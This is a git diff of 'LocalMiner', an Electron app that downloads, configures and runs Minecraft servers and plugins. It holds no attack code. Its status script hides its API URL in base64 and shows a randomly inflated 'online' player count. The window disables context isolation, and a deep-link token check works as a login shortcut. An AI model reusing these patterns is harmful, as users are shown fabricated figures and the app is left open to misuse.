+ let latest = pd.versions[(pd.versions).length - 1]
+ let dd = await (await fetch(`${BASE_URL}version/${latest}`)).json();
+ let downloadLink = dd.files[0].url
+ console.log(downloadLink)
+
+ var jarpath = document.getElementById("server_jar2").files[0].path
+ var jarname = document.getElementById("server_jar2").files[0].name
+ var jarfolder = jarpath.replace(jarname, "") + "plugins";
+ console.log(jarfolder)
+
+ DownloadElectron(jarfolder, downloadLink, jarfolder, 1)
+ } catch (error) {
+ console.log("false")
+ window.alert("Make Sure You Have Selected Server.jar\nBefore Downloading Plugins")
+ }
+}
+
+const inputHandler = async function (e) {
+ SearchPlugin()
+
+}
+
+const source = document.getElementById('source');
+source.addEventListener('input', inputHandler);
+source.addEventListener('propertychange', inputHandler)
+
+SearchPlugin()
\ No newline at end of file
diff --git a/src/JS/sysJS/runServerJar.js b/src/JS/sysJS/runServerJar.js
new file mode 100644
index 0000000..962f361
--- /dev/null
+++ b/src/JS/sysJS/runServerJar.js
@@ -0,0 +1,186 @@
+const {
+ Console
+} = require('console');
+const {
+ DiffieHellmanGroup
+} = require('crypto');
+
+function RunServer() {
+ try {
+ callFrame("[🛠️] You Can Change Jdk From Settings! if console is not showing anything" , "POPUP8")
+ if ((window.location.href).includes("app.html")) {
+ loadConsole()
+ } else {
+ loadConsole()
+ }
+ let rundata = `java -server -Xms1G -Xmx${document.getElementById('numberInput').value}G -jar server.jar nogui`;
+ let euladata = `eula=true`;
+
+ var jarpath = document.getElementById("server_jar").files[0].path
+ var jarname = document.getElementById("server_jar").files[0].name
+ var jarfolder = jarpath.replace(jarname, "");
+
+ fs.writeFileSync(`${jarfolder}run.bat`, rundata);
+ fs.writeFileSync(`${jarfolder}eula.txt`, euladata);
+
+
+ const {
+ spawn
+ } = require('child_process');
+
+ // Start child process
+ let jdkvs = localStorage.getItem("jdkv") || document.getElementById("jdkv").value
+
+ const child = spawn(`${jdkvs}`, ['-server', '-Xms1G', `-Xmx${document.getElementById('numberInput').value}G`, `-jar`, `${jarname}`, `--nogui`], {
+ cwd: `${jarfolder}`
+ });
+ // console.log(document.getElementById('ram').value);
+ let playFlag = 1
+ child.stdout.on('data', (data) => {
+ if (data.includes("Done (")) {
+ $("#code").append(`${data}`);
+
+ $("#code").append(`[🎉] SERVER IS ONLINE!`);
+
+ }
+ if (data.includes("Stopping the server")) {
+ $("#code").append(`${data}`);
+
+ $("#code").append(`[🛑] SERVER STOPPED!`);
+
+ }
+ if (data.includes("adoptium.net")) {
+ $("#code").append(`${data}`);
+
+ $("#code").append(`[🛑] ERROR CODE: LOCALj12 : install jdk from https://adoptium.net`);
+
+ }
+ if (data.includes("to claim visit")) {
+ if (playFlag == 1) {
+ $("#code").append(`${data}`);
+ let playerLink = data + ""
+ playerLink = (playerLink).split("visit: ")[1]
+ shell.openExternal(playerLink);
+ playFlag = 10;
+ }
+
+ }
+ if (!data.includes("[1m[4mplayit.gg:[0m tunnel setup") && data.includes("[1m[4mplayit.gg:[0m ")) {
+ $("#code").append(`${data}`);
+ let url = data + ""
+ url = (url).split("[1m[4mplayit.gg:[0m ")[1]
+ copyText = url;
+ document.getElementById("server_ip").style.opacity = 1;
+ document.getElementById("display3").innerText = url
+ document.getElementById("footer_body").innerHTML = `${url}`
+
+ }
+ if (!data.includes("playit.gg: tunnel setup") && data.includes("playit.gg: ")) {
+ $("#code").append(`${data}`);
+ url = data + ""
+ url = (url).split("playit.gg: ")[1]
+ copyText = url;
+ document.getElementById("server_ip").style.opacity = 1;
+ document.getElementById("display3").innerText = url
+ document.getElementById("footer_body").innerHTML = `${url}`
+
+ } else {
+ $("#code").append(`${data}`);
+ }
+
+ });
+
+ child.stderr.on('data', (data) => {
+ if (data.includes("Done (")) {
+ $("#code").append(`${data}`);
+
+ $("#code").append(`[🎉] SERVER IS ONLINE!`);
+
+ }
+ if (data.includes("Stopping the server")) {
+ $("#code").append(`${data}`);
+
+ $("#code").append(`[🛑] SERVER STOPPED!`);
+
+ }
+ if (data.includes("adoptium.net")) {
+ $("#code").append(`${data}`);
+ $("#code").append(`[⚠️] ERROR CODE: LOCALj12 : install jdk from https://adoptium.net`);
+ } else {
+ $("#code").append(`${data}`);
+ }
+ if (data.includes("to claim visit")) {
+ if (playFlag == 1) {
+ $("#code").append(`${data}`);
+ let playerLink = data + ""
+ playerLink = (playerLink).split("visit: ")[1]
+ shell.openExternal(playerLink);
+ playFlag = 10;
+ }
+
+ }
+ if (!data.includes("[1m[4mplayit.gg:[0m tunnel setup") && data.includes("[1m[4mplayit.gg:[0m ")) {
+ $("#code").append(`${data}`);
+ let url = data + ""
+ url = (url).split("[1m[4mplayit.gg:[0m ")[1]
+ copyText = url;
+ document.getElementById("server_ip").style.opacity = 1;
+ document.getElementById("display3").innerText = url
+ document.getElementById("footer_body").innerHTML = `${url}`
+
+ }
+ if (!data.includes("playit.gg: tunnel setup") && data.includes("playit.gg: ")) {
+ $("#code").append(`${data}`);
+ url = data + ""
+ url = (url).split("playit.gg: ")[1]
+ copyText = url;
+ document.getElementById("server_ip").style.opacity = 1;
+ document.getElementById("display3").innerText = url
+ document.getElementById("footer_body").innerHTML = `${url}`
+ }
+ });
+
+ child.stdout.pipe(process.stdout);
+
+ function commandRunner() {
+ if (document.getElementById("flagger").innerHTML == "active") {
+ var command = document.getElementById("command").value;
+ // console.log(command);
+ $("#code").append(`>>> ${command}`);
+ child.stdin.write(`${command}\n`);
+ document.getElementById("flagger").innerHTML = "disable"
+ document.getElementById("command").value = ""
+ // console.log("healer");
+ }
+ setTimeout(commandRunner, 3000);
+ }
+
+
+
+
+ child.on('error', (error) => {
+ console.log(`error: ${error.message}`)
+ });
+
+ child.on('exit', (code, signal) => {
+ if (code) $("#code").append(`Process exit with code: ${code}`);
+ if (signal) $("#code").append(`Process killed with signal: ${signal}`);
+ document.getElementById("footer").style.opacity = 0;
+ $("#code").append(`----------------------------------------
+ Note: This Error is normal if u stoped the server
+ [❌] ERROR - CODE FAILED : ERROR CODE : LOCALM302
+ [📢] You Can Report This in LocalMiner Discord Support Server
+ [🌐] website : https://localm.eu.org`);
+ });
+
+ commandRunner();
+
+
+ } catch (error) {
+ console.log(error)
+ }
+}
+
+function sendCommand() {
+ document.getElementById("flagger").innerHTML = "active"
+}
\ No newline at end of file
diff --git a/src/JS/sysJS/saveServerJar.js b/src/JS/sysJS/saveServerJar.js
new file mode 100644
index 0000000..099f832
--- /dev/null
+++ b/src/JS/sysJS/saveServerJar.js
@@ -0,0 +1,226 @@
+const extract = require('extract-zip')
+const {
+ webFrame
+} = require('electron');
+const {
+ ipcRenderer,
+ contextBridge
+} = require("electron");
+
+storeLocalxLocation = __dirname
+storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0]
+storeLocalxLocation = storeLocalxLocation.replace('file:///', '')
+storeLocalxLocation = storeLocalxLocation.replaceAll('/', '//') + "LocalMiner//servers.localx"
+
+
+function DownloadElectron(filePath, urlLink, filepath, j1) {
+ ipcRenderer.send("download", {
+ url: urlLink,
+ properties: {
+ directory: filePath
+ }
+ })
+
+ let flag = 1;
+ ipcRenderer.on("download progress", (event, progress) => {
+ if (Math.floor((progress.percent) * 100) != 100) {
+ document.getElementById("localprocess").style.display = "block"
+ document.getElementById("back").innerText = `${Math.floor((progress.percent) * 100) + "%"}`
+ document.getElementById("localprocess").value = Math.floor((progress.percent) * 100)
+ } else if (Math.floor((progress.percent) * 100) == 100 && flag == 1) {
+ flag = 11;
+ document.getElementById("localprocess").style.display = "none";
+ document.getElementById("back").innerText = `Back To Menu`;
+ window.alert(`Download Complete\nSaved at ${filepath}`)
+ try {
+ openfiles(filepath)
+ } catch (error) {
+ console.log(error)
+ }
+ if (j1 == 10) {
+ fix();
+ }
+ if (j1 == 11) {
+ UnzipJdk();
+ }
+ } else {
+ document.getElementById("localprocess").style.display = "none";
+ document.getElementById("back").innerText = `Back To Menu`;
+ }
+
+
+ });
+}
+
+ipcRenderer.on("download complete", (event, path) => {
+
+});
+
+///////////////////////////////////////////////////////////////////////////////
+
+function OpenServersFolder() {
+ try {
+ openfiles(`C:\\LocalMiner\\Server\\`)
+ } catch (error) {
+ console.log(error)
+ }
+}
+
+function OpenJdkFolder() {
+ try {
+ openfiles(`C:\\LocalMiner\\Jdk\\`)
+ } catch (error) {
+ console.log(error)
+ }
+}
+
+
+function DownloadJdk() {
+ if (window.confirm(`Do You want to download Jdk\nTotal Size:992MB`) == true) {
+ let jdkLink = "https://github.com/LocalMiner/LocalJdk/releases/download/1.0/LocalJdk.zip"
+ let filePath = `C:/LocalMiner/Jdk`
+ let filepath = `C:\\LocalMiner\\Jdk`
+ let j1 = 11;
+ DownloadElectron(filePath, jdkLink, filepath, j1)
+ }
+}
+
+async function UnzipJdk() {
+ try {
+ await extract(`C:/LocalMiner/Jdk/LocalJdk.zip`, {
+ dir: `C:/LocalMiner/Jdk/`
+ })
+ window.alert(`Jdk Extraction complete`)
+ var filePath = 'C:/LocalMiner/Jdk/LocalJdk.zip';
+ fs.unlinkSync(filePath);
+ } catch (err) {
+ // handle any errors
+ }
+}
+
+///////////////////////////////////////////////////////////////////////////////
+
+async function InstallServer() {
+ if ((window.location.href).includes("app.html")) {
+ loadRun()
+ } else {
+ loadRun()
+ }
+
+ var paperlink = document.getElementById("server_ver").value;
+ var server_name = document.getElementById("server_name").value;
+
+ var path = `C:/LocalMiner/Server/${server_name}`
+
+ let filePath = `C:/LocalMiner/Jdk`
+ let filepath = `C:\\LocalMiner\\Jdk`
+ var savedLocation = `C:\\LocalMiner\\Server\\${document.getElementById("server_name").value}`
+ let j1 = 10;
+
+ await DownloadElectron(path, paperlink, savedLocation, j1)
+}
+
+function fix() {
+ var server_name = document.getElementById("server_name").value;
+
+ let euladata = `eula=true`;
+ fs.writeFile(`C://LocalMiner//Server//${server_name}//eula.txt`, euladata, function (err) {
+ if (err) throw err;
+ console.log('eula.txt is created successfully.');
+ });
+
+ var ram = `1`
+
+ let rundata = `java -server -Xms1G -Xmx${ram}G -jar server.jar nogui`;
+ fs.writeFile(`C://LocalMiner//Server//${server_name}//run.bat`, rundata, function (err) {
+ if (err) throw err;
+ console.log('run.bat is created successfully.');
+ });
+
+ var player = 100
+ var type = document.getElementById("type").value;
+
+ let serverp = `#Minecraft server properties
+ #Made By Localminer
+ #https://github.com/localminer
+ enable-jmx-monitoring=false
+ rcon.port=25565
+ level-seed=
+ enable-command-block=true
+ gamemode=survival
+ enable-query=false
+ generator-settings=
+ level-name=world
+ motd=LocalMiner Survival
+ query.port=25565
+ pvp=true
+ generate-structures=true
+ difficulty=easy
+ network-compression-threshold=256
+ max-tick-time=60000
+ require-resource-pack=false \n` +
+ `max-players=${player} \n` + `
+ use-native-transport=true \n` +
+ `online-mode=${type} \n` + `
+ enable-status=true
+ allow-flight=false
+ broadcast-rcon-to-ops=true
+ view-distance=10
+ max-build-height=256
+ server-ip=127.0.0.1
+ resource-pack-prompt=
+ allow-nether=true
+ server-port=25565
+ enable-rcon=false
+ sync-chunk-writes=true
+ op-permission-level=4
+ server-name=LocalMiner
+ prevent-proxy-connections=false
+ hide-online-players=false
+ resource-pack=
+ entity-broadcast-range-percentage=100
+ simulation-distance=10
+ player-idle-timeout=0
+ rcon.password=
+ force-gamemode=false
+ debug=false
+ rate-limit=0
+ hardcore=false
+ white-list=false
+ broadcast-console-to-ops=true
+ spawn-npcs=true
+ spawn-animals=true
+ snooper-enabled=false
+ function-permission-level=2
+ level-type=default
+ text-filtering-config=
+ spawn-monsters=true
+ enforce-whitelist=false
+ spawn-protection=0
+ resource-pack-sha1=
+ max-world-size=29999984`
+
+ fs.writeFile(`C://LocalMiner//Server//${server_name}//server.properties`, serverp, function (err) {
+ if (err) throw err;
+ console.log('server.prop is created successfully.');
+ });
+
+ //playitgg download
+ callFrame("[⚠️] Copy playit.gg files to the new server if already have LocalMiner server","POPUP7")
+ if (window.confirm(`Do you want to download playitgg (IMPORTANT)`) == true) {
+ try {
+ var server_name = document.getElementById("server_name").value;
+ var path = `C:/LocalMiner/Server/${server_name}`
+ var savedLocation = `C:\\LocalMiner\\Server\\${document.getElementById("server_name").value}`
+ let playPath = path + "/plugins"
+ let playLink = "https://github.com/playit-cloud/playit-minecraft-plugin/releases/latest/download/playit-minecraft-plugin.jar"
+ let playSavedLocation = savedLocation + "\\plugins"
+ DownloadElectron(playPath, playLink, playSavedLocation, 1)
+ } catch (error) {
+ console.log(error)
+ }
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/src/JS/webJS/audio.js b/src/JS/webJS/audio.js
new file mode 100644
index 0000000..90492ee
--- /dev/null
+++ b/src/JS/webJS/audio.js
@@ -0,0 +1,44 @@
+window.$ = window.jQuery = require('jquery');
+const fishAudio = new Audio("assets/sounds/fish.mp3");
+const stoneAudio = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav");
+const placeAudio = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav");
+const VillagerAudio = new Audio("assets/sounds/Villager_accept2.ogg");
+
+$("#fish").mouseenter(function () {
+ fishAudio.volume = 0.1;
+ fishAudio.play();
+});
+$("#fish").mouseleave(function () {
+ fishAudio.pause();
+ fishAudio.currentTime = 0;
+});
+
+
+
+
+$(".squarebox").mouseenter(function () {
+ stoneAudio.volume = 0.1;
+ stoneAudio.play();
+});
+$(".squarebox").mouseleave(function () {
+ stoneAudio.pause();
+ stoneAudio.currentTime = 0;
+});
+
+$(".avatar").mouseenter(function () {
+ VillagerAudio.volume = 0.1;
+ VillagerAudio.play();
+});
+$(".avatar").mouseleave(function () {
+ VillagerAudio.pause();
+ VillagerAudio.currentTime = 0;
+});
+
+$("#footer_body").click(function () {
+ navigator.clipboard.writeText(document.getElementById("footer_body").innerHTML)
+ stoneAudio.volume = 0.1;
+ stoneAudio.play();
+});
+
+
+
diff --git a/src/JS/webJS/buttons.js b/src/JS/webJS/buttons.js
new file mode 100644
index 0000000..8877d39
--- /dev/null
+++ b/src/JS/webJS/buttons.js
@@ -0,0 +1,134 @@
+// Buttons for Main Menu
+const popOpen = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav");
+popOpen.volume = 0.1;
+const popBack = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav");
+popBack.volume = 0.1;
+
+function loadInstall() {
+ popOpen.play();
+ document.getElementById("menu").style.display = "none";
+ document.getElementById("run").style.display = "none";
+ document.getElementById("console").style.display = "none";
+ document.getElementById("settings").style.display = "none";
+ document.getElementById("plugins").style.display = "none";
+
+ document.getElementById("maininfo").style.display = "block";
+ document.getElementById("install").style.display = "block";
+
+ //
+ document.getElementById("MainHeading").innerHTML = "Install Server"
+ document.getElementById("MainSub").innerHTML = "Fill Details And Install Your PowerFull Server!"
+
+ document.getElementById("back").innerHTML = "Back To Menu"
+}
+
+function loadRun() {
+ popOpen.play();
+ document.getElementById("menu").style.display = "none";
+ document.getElementById("install").style.display = "none";
+ document.getElementById("console").style.display = "none";
+ document.getElementById("settings").style.display = "none";
+ document.getElementById("plugins").style.display = "none";
+
+ document.getElementById("maininfo").style.display = "block";
+ document.getElementById("run").style.display = "block";
+
+ document.getElementById("MainHeading").innerHTML = "Run Server"
+ document.getElementById("MainSub").innerHTML = "Fill Details And Run Your PowerFull Server!"
+
+ document.getElementById("back").innerHTML = "Back To Menu"
+}
+
+function loadConsole() {
+ popOpen.play();
+ document.getElementById("menu").style.display = "none";
+ document.getElementById("install").style.display = "none";
+ document.getElementById("run").style.display = "none";
+ document.getElementById("settings").style.display = "none";
+ document.getElementById("plugins").style.display = "none";
+
+ document.getElementById("maininfo").style.display = "block";
+ document.getElementById("console").style.display = "block";
+
+ document.getElementById("MainHeading").innerHTML = "Server Console"
+ document.getElementById("MainSub").innerHTML = "Take Control Over Your PowerFull Server!"
+
+ document.getElementById("back").innerHTML = "Back To Menu"
+}
+
+function loadSettings() {
+ popOpen.play();
+ document.getElementById("menu").style.display = "none";
+ document.getElementById("install").style.display = "none";
+ document.getElementById("run").style.display = "none";
+ document.getElementById("console").style.display = "none";
+ document.getElementById("plugins").style.display = "none";
+
+ document.getElementById("maininfo").style.display = "block";
+ document.getElementById("settings").style.display = "block";
+
+ document.getElementById("MainHeading").innerHTML = "LocalMiner Settings"
+ document.getElementById("MainSub").innerHTML = "Take Control Over LocalMiner Settings"
+
+ document.getElementById("back").innerHTML = "Back To Menu"
+}
+function loadPlugin() {
+ popOpen.play();
+ document.getElementById("menu").style.display = "none";
+ document.getElementById("install").style.display = "none";
+ document.getElementById("run").style.display = "none";
+ document.getElementById("console").style.display = "none";
+ document.getElementById("settings").style.display = "none";
+
+ document.getElementById("maininfo").style.display = "block";
+ document.getElementById("plugins").style.display = "block";
+
+ document.getElementById("MainHeading").innerHTML = "LocalMiner Plugins"
+ document.getElementById("MainSub").innerHTML = "Take Control Over Server Plugins"
+
+ document.getElementById("back").innerHTML = "Back To Menu"
+}
+
+function loadMenu() {
+ popBack.play()
+ document.getElementById("console").style.display = "none";
+ document.getElementById("install").style.display = "none";
+ document.getElementById("run").style.display = "none";
+ document.getElementById("maininfo").style.display = "none";
+ document.getElementById("settings").style.display = "none";
+ document.getElementById("plugins").style.display = "none";
+
+ document.getElementById("menu").style.display = "block";
+ document.getElementById("MainHeading").innerHTML = "Menu"
+
+ document.getElementById("back").innerHTML = "LocalMiner"
+}
+
+
+// Increment And Decrement Button on Run Page
+
+function incrementNumber() {
+ placeAudio.pause();
+ placeAudio.currentTime = 0;
+ placeAudio.volume = 0.1;
+ placeAudio.play();
+ const numberInput = document.getElementById("numberInput");
+ numberInput.value = parseInt(numberInput.value) + 1;
+}
+
+function decrementNumber() {
+ placeAudio.pause();
+ placeAudio.currentTime = 0;
+ placeAudio.volume = 0.1;
+ placeAudio.play();
+ const numberInput = document.getElementById("numberInput");
+ if (parseInt(numberInput.value) < 1 || parseInt(numberInput.value) == 1) {
+ numberInput.value = 1
+ } else {
+ numberInput.value = parseInt(numberInput.value) - 1;
+ }
+
+}
+
+
+
diff --git a/src/JS/webJS/getFileName.js b/src/JS/webJS/getFileName.js
new file mode 100644
index 0000000..dfa6cc9
--- /dev/null
+++ b/src/JS/webJS/getFileName.js
@@ -0,0 +1,9 @@
+function ChangeName() {
+ let paperjarname = document.getElementById("server_jar").files[0].name;
+ document.getElementById('serverjar_name').innerText = paperjarname
+}
+
+function ChangeName2() {
+ let paperjarname = document.getElementById("server_jar2").files[0].name;
+ document.getElementById('serverjar_name2').innerText = paperjarname
+}
\ No newline at end of file
diff --git a/src/JS/webJS/statusApi.js b/src/JS/webJS/statusApi.js
new file mode 100644
index 0000000..674f424
--- /dev/null
+++ b/src/JS/webJS/statusApi.js
@@ -0,0 +1,23 @@
+let text = "aHR0cHM6Ly9hcGkubWNzdGF0dXMuaW8vdjIvc3RhdHVzL2phdmEvaHlwaXhlbC5uZXQ";
+let decoded = window.atob(text);
+async function Midnight() {
+ // let data = await (await fetch(`https://wtfismyip.com/json`)).json();
+ let online = Intl.DateTimeFormat().resolvedOptions().timeZone
+ document.getElementById("country").innerText = online
+}
+async function Garv() {
+ let data = await (await fetch(`${decoded}`)).json();
+ let online = data.players.online;
+ online = parseInt(online / 10) + Math.floor(Math.random() * 90) + 10
+ document.getElementById("odometer").innerText = online
+}
+
+setInterval(async function () {
+ let data = await (await fetch(`${decoded}`)).json();
+ let online = data.players.online;
+ online = parseInt(online / 10) + Math.floor(Math.random() * 90) + 10
+ document.getElementById("odometer").innerText = online
+}, 60000)
+
+Garv() // Best Dost
+Midnight() // Best Admin
\ No newline at end of file
diff --git a/src/app.html b/src/app.html
new file mode 100644
index 0000000..d664bca
--- /dev/null
+++ b/src/app.html
@@ -0,0 +1,316 @@
+
+
+
+
+
+
+
+
+
+
+ LocalMiner
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Menu
+
Fill Details to Install Your Powerfull Server
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+console.log("LocalMiner Console Fire Engine")
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Main Menu
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/assets/avatar.jpg b/src/assets/avatar.jpg
new file mode 100644
index 0000000..a6402f3
Binary files /dev/null and b/src/assets/avatar.jpg differ
diff --git a/src/assets/fish.png b/src/assets/fish.png
new file mode 100644
index 0000000..e164cbf
Binary files /dev/null and b/src/assets/fish.png differ
diff --git a/src/assets/fonts/Degular-Bold.otf b/src/assets/fonts/Degular-Bold.otf
new file mode 100644
index 0000000..b78245c
Binary files /dev/null and b/src/assets/fonts/Degular-Bold.otf differ
diff --git a/src/assets/fonts/Degular-Medium.otf b/src/assets/fonts/Degular-Medium.otf
new file mode 100644
index 0000000..753609d
Binary files /dev/null and b/src/assets/fonts/Degular-Medium.otf differ
diff --git a/src/assets/icons/download.png b/src/assets/icons/download.png
new file mode 100644
index 0000000..a6e6887
Binary files /dev/null and b/src/assets/icons/download.png differ
diff --git a/src/assets/icons/play-button-arrowhead.png b/src/assets/icons/play-button-arrowhead.png
new file mode 100644
index 0000000..7019bf1
Binary files /dev/null and b/src/assets/icons/play-button-arrowhead.png differ
diff --git a/src/assets/icons/plug-silhouette.png b/src/assets/icons/plug-silhouette.png
new file mode 100644
index 0000000..2d2078f
Binary files /dev/null and b/src/assets/icons/plug-silhouette.png differ
diff --git a/src/assets/icons/settings.png b/src/assets/icons/settings.png
new file mode 100644
index 0000000..ec39228
Binary files /dev/null and b/src/assets/icons/settings.png differ
diff --git a/src/assets/icons/terminal.png b/src/assets/icons/terminal.png
new file mode 100644
index 0000000..fb828d2
Binary files /dev/null and b/src/assets/icons/terminal.png differ
diff --git a/src/assets/image04.jpg b/src/assets/image04.jpg
new file mode 100644
index 0000000..6d949b9
Binary files /dev/null and b/src/assets/image04.jpg differ
diff --git a/src/assets/loginImages/image (1).webp b/src/assets/loginImages/image (1).webp
new file mode 100644
index 0000000..e4f2108
Binary files /dev/null and b/src/assets/loginImages/image (1).webp differ
diff --git a/src/assets/loginImages/image (10).webp b/src/assets/loginImages/image (10).webp
new file mode 100644
index 0000000..977fdcb
Binary files /dev/null and b/src/assets/loginImages/image (10).webp differ
diff --git a/src/assets/loginImages/image (11).webp b/src/assets/loginImages/image (11).webp
new file mode 100644
index 0000000..646bb84
Binary files /dev/null and b/src/assets/loginImages/image (11).webp differ
diff --git a/src/assets/loginImages/image (12).webp b/src/assets/loginImages/image (12).webp
new file mode 100644
index 0000000..e40743c
Binary files /dev/null and b/src/assets/loginImages/image (12).webp differ
diff --git a/src/assets/loginImages/image (13).webp b/src/assets/loginImages/image (13).webp
new file mode 100644
index 0000000..f391c48
Binary files /dev/null and b/src/assets/loginImages/image (13).webp differ
diff --git a/src/assets/loginImages/image (14).webp b/src/assets/loginImages/image (14).webp
new file mode 100644
index 0000000..5d46f43
Binary files /dev/null and b/src/assets/loginImages/image (14).webp differ
diff --git a/src/assets/loginImages/image (15).webp b/src/assets/loginImages/image (15).webp
new file mode 100644
index 0000000..50bfed6
Binary files /dev/null and b/src/assets/loginImages/image (15).webp differ
diff --git a/src/assets/loginImages/image (16).webp b/src/assets/loginImages/image (16).webp
new file mode 100644
index 0000000..387cebe
Binary files /dev/null and b/src/assets/loginImages/image (16).webp differ
diff --git a/src/assets/loginImages/image (17).webp b/src/assets/loginImages/image (17).webp
new file mode 100644
index 0000000..d19c132
Binary files /dev/null and b/src/assets/loginImages/image (17).webp differ
diff --git a/src/assets/loginImages/image (2).webp b/src/assets/loginImages/image (2).webp
new file mode 100644
index 0000000..f986b34
Binary files /dev/null and b/src/assets/loginImages/image (2).webp differ
diff --git a/src/assets/loginImages/image (3).webp b/src/assets/loginImages/image (3).webp
new file mode 100644
index 0000000..5775148
Binary files /dev/null and b/src/assets/loginImages/image (3).webp differ
diff --git a/src/assets/loginImages/image (4).webp b/src/assets/loginImages/image (4).webp
new file mode 100644
index 0000000..dea78e8
Binary files /dev/null and b/src/assets/loginImages/image (4).webp differ
diff --git a/src/assets/loginImages/image (5).webp b/src/assets/loginImages/image (5).webp
new file mode 100644
index 0000000..6dcc31c
Binary files /dev/null and b/src/assets/loginImages/image (5).webp differ
diff --git a/src/assets/loginImages/image (6).webp b/src/assets/loginImages/image (6).webp
new file mode 100644
index 0000000..8d9e266
Binary files /dev/null and b/src/assets/loginImages/image (6).webp differ
diff --git a/src/assets/loginImages/image (7).webp b/src/assets/loginImages/image (7).webp
new file mode 100644
index 0000000..ea93523
Binary files /dev/null and b/src/assets/loginImages/image (7).webp differ
diff --git a/src/assets/loginImages/image (8).webp b/src/assets/loginImages/image (8).webp
new file mode 100644
index 0000000..0699225
Binary files /dev/null and b/src/assets/loginImages/image (8).webp differ
diff --git a/src/assets/loginImages/image (9).webp b/src/assets/loginImages/image (9).webp
new file mode 100644
index 0000000..c498b7f
Binary files /dev/null and b/src/assets/loginImages/image (9).webp differ
diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav
new file mode 100644
index 0000000..90ffc9f
Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav differ
diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav
new file mode 100644
index 0000000..9b7266e
Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav differ
diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav
new file mode 100644
index 0000000..691f25c
Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav differ
diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav
new file mode 100644
index 0000000..80149a3
Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav differ
diff --git a/src/assets/sounds/POPUP7.wav b/src/assets/sounds/POPUP7.wav
new file mode 100644
index 0000000..fb1312a
Binary files /dev/null and b/src/assets/sounds/POPUP7.wav differ
diff --git a/src/assets/sounds/POPUP8.wav b/src/assets/sounds/POPUP8.wav
new file mode 100644
index 0000000..49f70b2
Binary files /dev/null and b/src/assets/sounds/POPUP8.wav differ
diff --git a/src/assets/sounds/Villager_accept2.ogg b/src/assets/sounds/Villager_accept2.ogg
new file mode 100644
index 0000000..2c3cb5c
Binary files /dev/null and b/src/assets/sounds/Villager_accept2.ogg differ
diff --git a/src/assets/sounds/fish.mp3 b/src/assets/sounds/fish.mp3
new file mode 100644
index 0000000..d8e4d8e
Binary files /dev/null and b/src/assets/sounds/fish.mp3 differ
diff --git a/src/assets/sounds/place1.ogg b/src/assets/sounds/place1.ogg
new file mode 100644
index 0000000..29b24ba
Binary files /dev/null and b/src/assets/sounds/place1.ogg differ
diff --git a/src/assets/sounds/stone.mp3 b/src/assets/sounds/stone.mp3
new file mode 100644
index 0000000..b598867
Binary files /dev/null and b/src/assets/sounds/stone.mp3 differ
diff --git a/src/index.js b/src/index.js
new file mode 100644
index 0000000..ce9082c
--- /dev/null
+++ b/src/index.js
@@ -0,0 +1,433 @@
+const {app,BrowserWindow,ipcMain} = require('electron')
+const path = require('node:path');
+const electronLocalshortcut = require('electron-localshortcut');
+const fs = require('fs');
+const DiscordRPC = require('discord-rpc')
+const fetch = require('node-fetch')
+const {
+ download
+} = require("electron-dl");
+
+let window
+if (process.defaultApp) {
+ if (process.argv.length >= 2) {
+ app.setAsDefaultProtocolClient('localm', process.execPath, [path.resolve(process.argv[1])])
+ }
+} else {
+ app.setAsDefaultProtocolClient('localm');
+}
+
+
+app.on('ready', () => {
+ window = new BrowserWindow({
+ autoHideMenuBar: true,
+ width: 1180,
+ height: 768,
+ minWidth: 1170,
+ minHeight: 768,
+ title: "LocalMiner",
+ icon: __dirname + '\\logo.ico',
+ titleBarStyle: "hidden",
+ autoHideMenuBar: true,
+ frame: false,
+ titleBarOverlay: {
+ color: "#1f2937a4",
+ symbolColor: "#fff",
+ },
+ webPreferences: {
+ // devTools: false,
+ nodeIntegration: true,
+ contextIsolation: false,
+ webviewTag: true,
+ }
+ })
+ window.loadURL('file://' + __dirname + '/login.html');
+ try {
+ ipcMain.on("download", (event, info) => {
+ console.log(info);
+ info.properties.onProgress = status => window.webContents.send("download progress", status);
+ download(BrowserWindow.getFocusedWindow(), info.url, info.properties)
+ .then(dl => window.webContents.send("download complete", dl.getSavePath()));
+ });
+ } catch (error) {
+ console.log(error)
+ }
+
+
+
+
+ // NEW SHORTCUTS
+ electronLocalshortcut.register(window, 'Ctrl+Shift+K', () => {
+ window.loadURL('file://' + __dirname + '/app.html');
+ });
+
+
+})
+
+const getTheLock = app.requestSingleInstanceLock();
+
+if (!getTheLock) {
+ app.quit()
+} else {
+ app.on('second-instance', (_event, argv, _workingDirectory) => {
+ if (window) {
+ const deeplinkingUrl = argv.find((arg) =>
+ arg.startsWith('localm://')
+ );
+
+ const token = deeplinkingUrl.replace('localm://', '');
+ if (window.isMinimized()) window.restore()
+ window.focus()
+ if (token.includes("mascot")) {
+ SaveLocalFile("v");
+ window.loadURL('file://' + __dirname + '/app.html');
+ }
+ if (token.includes("suhani")) {
+ SaveLocalFile("n");
+ window.loadURL('file://' + __dirname + '/app.html');
+ }
